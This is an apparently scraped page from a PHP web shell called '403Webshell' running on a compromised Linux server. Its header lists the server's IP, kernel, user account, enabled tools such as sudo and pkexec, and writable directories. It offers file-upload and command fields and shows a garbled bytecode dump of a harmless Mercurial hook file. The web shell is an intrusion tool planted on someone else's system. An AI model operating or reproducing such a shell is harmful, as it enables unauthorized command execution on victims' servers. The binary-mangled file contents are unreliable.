403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/hgext/hooklib/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/hgext/hooklib/__pycache__/enforce_draft_commits.cpython-39.pyc
a

�+�b��@s:dZddlmZddlmZddlmZmZddd�ZdS)	a�enforce_draft_commits us a hook to ensure that all new changesets are
in the draft phase. This allows enforcing policies for work-in-progress
changes in overlay repositories, i.e. a shared hidden repositories with
different views for work-in-progress code and public history.

Usage:
  [hooks]
  pretxnclose-phase.enforce_draft_commits =     python:hgext.hooklib.enforce_draft_commits.hook
�)�absolute_import)�_)�error�pycompatNcKs�|dkr t�td�t�|���|��|}|drbt�td�t�|d�t�|d�|f��n,|ddkr�t�td�|t�|d�f��dS)Nspretxnclose-phasesUnsupported hook type %rZoldphases*Phase change from %r to %r for %s rejectedZphasesdrafts%New changeset %s in phase %r rejected)rZAbortrrZbytestrZ
unfiltered)ZuiZrepoZhooktypeZnode�kwargs�ctx�r�I/usr/lib64/python3.9/site-packages/hgext/hooklib/enforce_draft_commits.py�hooks(������r
)N)	�__doc__Z
__future__rZmercurial.i18nrZ	mercurialrrr
rrrr	�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit